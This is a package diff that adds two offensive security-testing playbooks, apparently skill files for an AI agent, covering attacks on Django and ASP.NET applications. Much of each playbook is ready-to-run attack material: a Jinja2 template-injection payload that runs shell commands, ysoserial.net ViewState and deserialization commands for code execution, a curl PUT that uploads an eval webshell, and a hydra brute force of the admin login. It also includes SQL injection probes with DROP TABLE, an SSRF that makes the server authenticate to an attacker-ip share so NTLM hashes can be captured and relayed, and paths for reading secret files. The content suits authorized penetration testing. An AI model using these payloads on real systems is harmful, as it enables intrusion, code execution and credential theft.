@aegis-scan/skills 0.5.0 → 0.5.2

package/skills/offensive/airecon-fork/frameworks-django/SKILL.md

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+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: django
+description: Security testing playbook for Django applications covering debug mode, admin exposure, ORM injection, CSRF, SSTI, and Django-specific misconfigurations
+---
+
+# Django Security Testing
+
+Django is the most common Python web framework. Attack surface spans the admin panel, ORM queries, template engine, session/CSRF handling, and common misconfigurations like DEBUG=True in production.
+
+---
+
+## Reconnaissance
+
+### Fingerprinting Django
+
+    # Django-specific URLs and paths
+    GET /admin/                     # Admin panel (very common)
+    GET /admin/login/               # Admin login page
+    GET /static/admin/              # Django admin static files
+    GET /api/schema/                # DRF schema (if Django REST Framework used)
+    GET /api/swagger/               # Swagger UI
+    GET /api/redoc/                 # ReDoc
+    GET /__debug__/                 # Django Debug Toolbar (dev only)
+    GET /silk/                      # Django Silk profiler
+
+    # Error pages reveal Django version
+    GET /nonexistent-path-12345     # 404 — check for Django branding
+    POST /any-form-without-token    # 403 Forbidden with CSRF error reveals Django
+
+    # Headers
+    X-Powered-By: Django (sometimes)
+    Server: gunicorn / uvicorn
+
+---
+
+## Debug Mode (Critical)
+
+DEBUG=True leaks: full stack traces with local variables, settings (including SECRET_KEY), installed apps, URL patterns, SQL queries.
+
+    # Trigger a 500 error to see debug page
+    GET /any-existing-url?param=<invalid-type>
+
+    # Check for Django Debug Toolbar
+    GET /?djdt=show
+    GET /static/debug_toolbar/js/toolbar.js   # Confirms DDT installed
+
+**Impact:** SECRET_KEY exposure = cookie/session forgery, CSRF bypass, password reset link prediction.
+
+---
+
+## Django Admin Panel
+
+### Discovery
+
+    # Common paths
+    /admin/
+    /django-admin/
+    /backend/admin/
+    /panel/admin/
+    /manage/
+
+    # Enumerate apps from admin interface (visible after login)
+    # Brute-force admin credentials
+    hydra -l admin -P /usr/share/wordlists/rockyou.txt <target> http-post-form \
+      "/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=<token>:Please enter the correct"
+
+### Admin Panel Attacks
+
+    # CSRF token extraction for brute force
+    curl -c cookies.txt -s <target>/admin/login/ | grep csrfmiddlewaretoken
+
+    # Mass action exposure: check for bulk delete/update actions
+    # Custom ModelAdmin views may have IDOR or missing permission checks
+
+    # Admin object history reveals internal IDs
+    GET /admin/<app>/<model>/<id>/history/
+
+---
+
+## SQL Injection via Django ORM
+
+Django ORM protects against raw SQLi but raw queries exist:
+
+    # Dangerous patterns in Django code:
+    Model.objects.raw("SELECT * FROM table WHERE id = %s" % user_input)  # Vulnerable
+    Model.objects.extra(where=["id = %s" % user_input])                   # Vulnerable
+    cursor.execute("SELECT * FROM table WHERE id = " + user_input)         # Vulnerable
+
+    # Safe (parameterized):
+    Model.objects.raw("SELECT * FROM table WHERE id = %s", [user_input])   # Safe
+
+### Testing for Raw Query Injection
+
+    # Standard SQLi probes on all parameters
+    ' OR '1'='1
+    ' OR 1=1--
+    1 AND SLEEP(5)--
+    1; DROP TABLE users--
+
+    # Django ORM filter injection (lookups)
+    # Vulnerable: Model.objects.filter(**user_dict)
+    # Probe: ?field__class__=<injection>  (not common but test)
+
+---
+
+## Template Injection (SSTI)
+
+Django templates have limited SSTI (no eval by default) but Jinja2 is sometimes used:
+
+    # Django template engine (limited)
+    {{7*7}}                 # Won't execute — Django escapes this
+    {% debug %}             # If allowed, dumps context variables (info disclosure)
+
+    # Jinja2 templates (if configured)
+    {{7*7}}                                    # 49 — confirms Jinja2
+    {{config}}                                 # Django settings exposure
+    {{request.META.HTTP_HOST}}                 # Server-side request info
+    {{cycler.__init__.__globals__['os'].popen('id').read()}}  # RCE
+
+    # Identify template engine first:
+    {{7*'7'}}   # Returns 49 = Jinja2 | Returns 7777777 = Twig | Error = Django
+
+---
+
+## CSRF
+
+    # Django CSRF checks:
+    # - Checks Origin/Referer header on HTTPS
+    # - Requires csrfmiddlewaretoken in POST body OR X-CSRFToken header
+    # - Uses cookie-to-header pattern by default
+
+    # Bypass attempts:
+    # 1. Remove CSRF token entirely (if @csrf_exempt on view)
+    # 2. Change method: POST → GET (if view accepts both)
+    # 3. Content-type switch: application/json (CSRF exempt in some setups)
+    # 4. Origin: null (sandboxed iframe)
+    # 5. Subdomain takeover → same-site bypass
+
+---
+
+## Authentication & Session
+
+    # Django session cookie: sessionid (HttpOnly, sometimes missing Secure/SameSite)
+    # Check cookie attributes:
+    curl -I <target> | grep -i set-cookie
+
+    # Session fixation: test if session ID changes on login
+    # 1. Get session cookie pre-login
+    # 2. Login
+    # 3. Check if sessionid changes
+
+    # Password reset token analysis
+    # Django uses HMAC-based tokens: <uid>-<timestamp>-<hash>
+    # If SECRET_KEY is known (from DEBUG=True), tokens can be forged
+
+    # Account enumeration via password reset timing
+    POST /accounts/password/reset/   body: email=test@example.com
+    # Response time difference reveals valid vs invalid emails
+
+---
+
+## Sensitive Endpoints
+
+    # Django REST Framework
+    GET /api/                        # Browsable API root (lists all endpoints)
+    GET /api/?format=json            # Force JSON response
+    GET /api/users/                  # User list (check auth)
+    OPTIONS /api/<endpoint>/         # Returns allowed methods + serializer fields
+
+    # Common DRF auth endpoints
+    POST /api/auth/login/
+    POST /api/auth/token/
+    POST /api/token/
+    GET  /api/token/refresh/
+
+    # Django Channels (WebSocket)
+    ws://<target>/ws/
+    ws://<target>/ws/chat/
+
+---
+
+## File Upload
+
+    # Django FileField/ImageField
+    # Test: content-type bypass, filename traversal, extension bypass
+    Content-Disposition: form-data; name="file"; filename="shell.php"
+    Content-Type: image/jpeg
+    [PHP webshell content]
+
+    # Path traversal in filename
+    filename="../../settings.py"
+    filename="%2e%2e%2fsettings.py"
+
+    # MEDIA_URL exposure: check if uploads are served without auth
+    GET /media/uploads/<filename>
+
+---
+
+## Information Disclosure
+
+    # .env files (common in Django deployments)
+    GET /.env
+    GET /config/.env
+
+    # settings.py exposure (source code misconfig)
+    GET /settings.py
+    GET /app/settings.py
+
+    # Django secret files
+    GET /db.sqlite3           # SQLite database exposed
+    GET /requirements.txt     # Reveals package versions + framework info
+    GET /Pipfile
+    GET /Pipfile.lock
+
+    # Git exposure
+    GET /.git/config
+    GET /.git/HEAD
+
+---
+
+## Django-Specific Vulnerabilities
+
+### Mass Assignment (DRF)
+
+    # DRF Serializer without read_only fields
+    # If serializer has no read_only_fields, extra POST fields may be accepted
+    POST /api/users/profile/
+    {"username": "user", "is_staff": true, "is_superuser": true}
+
+### Open Redirect
+
+    # Django's next parameter in login redirect
+    GET /login/?next=https://evil.com
+    GET /accounts/login/?next=//evil.com
+    GET /accounts/login/?next=///evil.com
+
+### Insecure Direct Object Reference
+
+    # Django URL patterns with integer PKs
+    GET /api/users/1/
+    GET /api/users/2/
+    # Check if auth enforces ownership
+
+---
+
+## Key Tools
+
+    nuclei -t django -u <target>                    # Django-specific templates
+    dirsearch -u <target> -e py,django,db           # Path discovery
+    wfuzz -u <target>/admin/FUZZ/ -w wordlist.txt   # Admin path enumeration
+
+---
+
+## Pro Tips
+
+1. Always check `/admin/` — Django ships it enabled by default
+2. DEBUG=True exposes SECRET_KEY in error pages → forge sessions, CSRF tokens, password reset links
+3. Django REST Framework browsable API at `/api/` leaks full endpoint structure
+4. Check `MEDIA_ROOT` serving — uploaded files often accessible without auth
+5. DRF `ModelViewSet` with `permission_classes = []` = unauthenticated access
+6. `{% debug %}` template tag in templates dumps entire context (info disclosure)
+7. Password reset tokens expire after 3 days by default — check `PASSWORD_RESET_TIMEOUT`
+
+## Summary
+
+Django testing = admin panel + DEBUG mode + DRF API enumeration + ORM raw query injection. The admin panel and DEBUG=True are the fastest critical finds. DRF APIs often have authorization gaps (missing permission_classes, IDOR via integer PKs, mass assignment via serializer fields).

package/skills/offensive/airecon-fork/frameworks-dotnet/SKILL.md

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+<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
+
+---
+name: dotnet
+description: Security testing playbook for ASP.NET / .NET Core applications covering ViewState deserialization, Razor SSTI, NTLM auth bypass, IIS misconfigurations, and .NET-specific attack techniques
+---
+
+# ASP.NET / .NET Core Security Testing
+
+.NET is dominant in enterprise environments. Attack surface: ViewState deserialization (RCE without auth if machineKey is weak), Razor SSTI, NTLM credential capture, IIS misconfigurations, and .NET-specific deserialization gadget chains.
+
+---
+
+## Reconnaissance
+
+### Fingerprinting ASP.NET
+
+    # Response headers (often reveal framework and version)
+    X-Powered-By: ASP.NET
+    X-AspNet-Version: 4.0.30319
+    X-AspNetMvc-Version: 5.2
+
+    # ASP.NET Core (newer):
+    # No X-Powered-By by default, but:
+    # Server: Microsoft-IIS/10.0  → IIS = likely .NET
+    # .aspx, .ashx, .asmx file extensions
+
+    # Common .NET paths:
+    GET /elmah.axd              # Error log viewer (CRITICAL if exposed)
+    GET /trace.axd              # ASP.NET trace viewer (request details)
+    GET /ScriptResource.axd     # Script resource handler
+    GET /WebResource.axd        # Web resource handler
+    GET /api/                   # ASP.NET Core Web API
+    GET /swagger/               # Swagger UI
+    GET /swagger/index.html
+    GET /_framework/blazor.server.js    # Blazor server-side
+    GET /signalr/               # SignalR WebSocket hub
+    GET /hangfire               # Hangfire job dashboard
+    GET /health                 # Health check endpoint
+    GET /metrics                # Prometheus metrics
+
+    # Webconfig exposure (CRITICAL if accessible):
+    GET /web.config             # ASP.NET configuration (connection strings, machineKey)
+    GET /web.config.bak
+    GET /appsettings.json       # .NET Core config
+    GET /appsettings.Development.json
+    GET /appsettings.Production.json
+
+---
+
+## ViewState Deserialization (ASP.NET WebForms)
+
+ViewState is base64-encoded state stored in `__VIEWSTATE` hidden field. If MAC validation is disabled or machineKey is weak → RCE.
+
+    # Step 1: Check if MAC validation is enabled:
+    # Extract __VIEWSTATE from page source
+    # Try sending request with modified __VIEWSTATE — if accepted = MAC validation off
+
+    # Step 2: If machineKey is in web.config (leaked):
+    <machineKey validationKey="AAAA..." decryptionKey="BBBB..." validation="SHA1" decryption="AES" />
+
+    # Step 3: Generate RCE payload using ysoserial.net:
+    # https://github.com/pwntester/ysoserial.net
+
+    # ViewState payload (MAC enabled, needs machineKey):
+    ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami > C:\windows\temp\out.txt" \
+      --validationalg="SHA1" --validationkey="AAAA..." --decryptionalg="AES" \
+      --decryptionkey="BBBB..." --islegacy
+
+    # ViewState payload (MAC disabled):
+    ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --islegacy --isdebug
+
+    # Submit crafted __VIEWSTATE in POST body
+
+    # Find machineKey in common locations:
+    GET /web.config
+    GET /App_Data/web.config
+    # Or via SSRF/LFI
+
+---
+
+## .NET Deserialization
+
+    # Generate gadget chain payloads with ysoserial.net:
+    # Windows: ysoserial.exe | Linux: mono ysoserial.exe
+
+    # Available formatters: BinaryFormatter, LosFormatter, ObjectStateFormatter,
+    #                       NetDataContractSerializer, SoapFormatter, XML, JSON
+
+    # BinaryFormatter gadget (most common):
+    ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
+    ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "cmd /c whoami"
+
+    # JSON.NET deserialization (common in Web API):
+    ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "cmd /c whoami"
+    # Payload injected into any JSON field that accepts polymorphic objects
+
+    # SOAP/ASMX endpoints:
+    ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c whoami"
+
+    # Detect deserialization: look for AAEAAAD/ prefix in base64 = BinaryFormatter
+    # Look for binary data in cookies, hidden fields, API responses
+
+---
+
+## Razor SSTI (ASP.NET MVC / Razor Pages)
+
+    # Razor is not a template engine in the traditional sense
+    # But if user input reaches @Html.Raw() or dynamic template rendering:
+
+    # Detection probes (Razor expressions):
+    @(7*7)                      # Outputs 49
+    @{var x=7*7;}@x             # Also outputs 49
+
+    # If Razor code injection (very rare, needs unsanitized eval):
+    @{System.Diagnostics.Process.Start("cmd.exe", "/c whoami > C:\\temp\\out.txt")}
+
+    # More common: XSS via @Html.Raw():
+    @Html.Raw(userInput)        # XSS if input not sanitized
+    # vs safe: @userInput or @Html.Encode(userInput)
+
+    # Blazor Server-Side: check WebSocket for exposed component state
+
+---
+
+## NTLM Authentication Attacks
+
+IIS with Windows Authentication exposes NTLM hashes:
+
+    # Detect NTLM auth:
+    curl -I <target>
+    # WWW-Authenticate: NTLM → NTLM auth enabled
+    # WWW-Authenticate: Negotiate → Kerberos/NTLM
+
+    # Capture NTLM hash via Responder (if SSRF → internal NTLM auth endpoint):
+    responder -I eth0
+
+    # Trigger SSRF to internal Windows share → NTLM capture:
+    POST /ssrf-endpoint
+    url=\\\\attacker-ip\\share
+
+    # NTLM relay attack (if SSRF to internal UNC path):
+    impacket-ntlmrelayx -tf targets.txt -smb2support
+
+    # Identify NTLM-authenticated endpoints:
+    curl -v http://<target>/auth-endpoint 2>&1 | grep -i "NTLM\|Negotiate\|401"
+
+---
+
+## IIS Misconfigurations
+
+    # Short filename enumeration (IIS 6.x legacy):
+    # IIS creates 8.3 short filenames accessible via tilde (~)
+    GET /backup~1/       # Tests if backup directory exists
+    GET /web~1.con       # web.config short name
+
+    # IIS scanner tools:
+    # https://github.com/irsdl/IIS-ShortName-Scanner
+    java -jar iis_shortname_scanner.jar 2 20 http://<target>/
+
+    # HTTP methods exposure:
+    OPTIONS /  HTTP/1.1   # Check for PUT, DELETE, TRACE
+    # PUT enabled = arbitrary file upload to web root
+
+    # IIS PUT file upload (rare but still found):
+    curl -X PUT <target>/shell.asp --data "<%eval request(chr(35))%>"
+
+    # WebDAV (if enabled):
+    curl -X PROPFIND <target>/ -H "Depth: 1"
+
+    # IIS Unicode bypass (old IIS 4/5):
+    GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
+
+    # ASP Classic file extensions:
+    GET /default.asp
+    GET /index.asp
+    GET /admin.asp
+
+---
+
+## Elmah / Diagnostic Endpoints
+
+    # ELMAH (Error Logging Modules and Handlers) — extremely common exposure
+    GET /elmah.axd                      # Error log with full exception details
+    GET /elmah.axd?asyncMode=true
+    GET /elmah.axd?type=download        # Download entire error log
+
+    # elmah.axd reveals:
+    # - Connection strings (db passwords)
+    # - Full stack traces with variable values
+    # - Internal IP addresses, file paths
+    # - Request data including cookies, POST bodies
+
+    # Other diagnostic endpoints:
+    GET /trace.axd                      # Full request trace (headers, session, form data)
+    GET /diagnostics
+    GET /admin/diagnostics
+
+---
+
+## appsettings.json Exposure (.NET Core)
+
+    # .NET Core config files (JSON, not XML)
+    GET /appsettings.json
+    GET /appsettings.Development.json
+    GET /appsettings.Staging.json
+
+    # Contents: connection strings, JWT secrets, API keys, service URLs
+    {
+      "ConnectionStrings": {
+        "DefaultConnection": "Server=...;Password=..."
+      },
+      "Jwt": {
+        "Secret": "super_secret_key_here"
+      }
+    }
+
+---
+
+## SignalR / WebSocket
+
+    # SignalR hub endpoints:
+    GET /signalr/negotiate?clientProtocol=1.5&connectionData=...
+    ws://<target>/signalr?...
+
+    # Hub method injection (if input reflected in hub method name):
+    # SignalR hubs may have authorization gaps — test all hub methods
+
+    # Blazor Server: client ↔ server circuit communication via WebSocket
+    # All component state transmitted — check for IDOR in component parameters
+
+---
+
+## Entity Framework SQL Injection
+
+    # EF Core parameterizes by default, but raw queries exist:
+
+    # Vulnerable:
+    context.Database.ExecuteSqlRaw($"SELECT * FROM Users WHERE Name = '{name}'")
+    context.Users.FromSqlRaw($"SELECT * FROM Users WHERE Id = {id}")
+
+    # Safe:
+    context.Users.FromSqlInterpolated($"SELECT * FROM Users WHERE Id = {id}")
+    context.Database.ExecuteSqlInterpolated($"DELETE FROM Users WHERE Id = {id}")
+
+    # LINQ injection via dynamic expressions (rare):
+    # If using Dynamic LINQ library with user-controlled sort/filter strings
+
+---
+
+## Common CVEs
+
+| CVE | Product | Impact |
+|-----|---------|--------|
+| CVE-2019-0604 | SharePoint | RCE via deserialization |
+| CVE-2021-31166 | IIS HTTP.sys | RCE (remote heap overflow) |
+| CVE-2017-9248 | Telerik UI | Crypto bypass → file upload |
+| CVE-2019-18935 | Telerik UI | RCE via deserialization |
+| CVE-2014-6287 | HFS (HTTP File Server) | RCE |
+
+    # Telerik Reporting / UI for ASP.NET (extremely common):
+    GET /Telerik.Web.UI.WebResource.axd?type=rau    # Check version
+    # CVE-2019-18935: Deserialize via RadAsyncUpload
+    nuclei -t cves/2019/CVE-2019-18935.yaml -u <target>
+
+---
+
+## Pro Tips
+
+1. `elmah.axd` exposed = instant critical — reveals connection strings, cookies, full errors
+2. ViewState MAC validation off (check via `EnableEventValidation=false`) = RCE with ysoserial.net
+3. `machineKey` in `web.config` + ViewState = RCE even with MAC validation enabled
+4. `appsettings.json` exposure is the .NET Core equivalent of Laravel's `.env`
+5. NTLM via SSRF: force SSRF to `\\attacker\share` → capture NTLMv2 hash via Responder
+6. Telerik UI RadAsyncUpload (CVE-2019-18935) is common in corporate ASP.NET apps — always check
+7. IIS short filename tilde enumeration reveals hidden directories/files on Windows IIS
+
+## Summary
+
+ASP.NET testing = `elmah.axd` exposure + ViewState deserialization (ysoserial.net) + appsettings.json/web.config + NTLM auth capture. elmah.axd is the fastest critical win — it dumps the entire application error log including connection strings. ViewState RCE requires the machineKey (from web.config exposure) or MAC validation being disabled — ysoserial.net handles the payload generation. Telerik UI components are extremely common and have multiple critical CVEs — always fingerprint and check.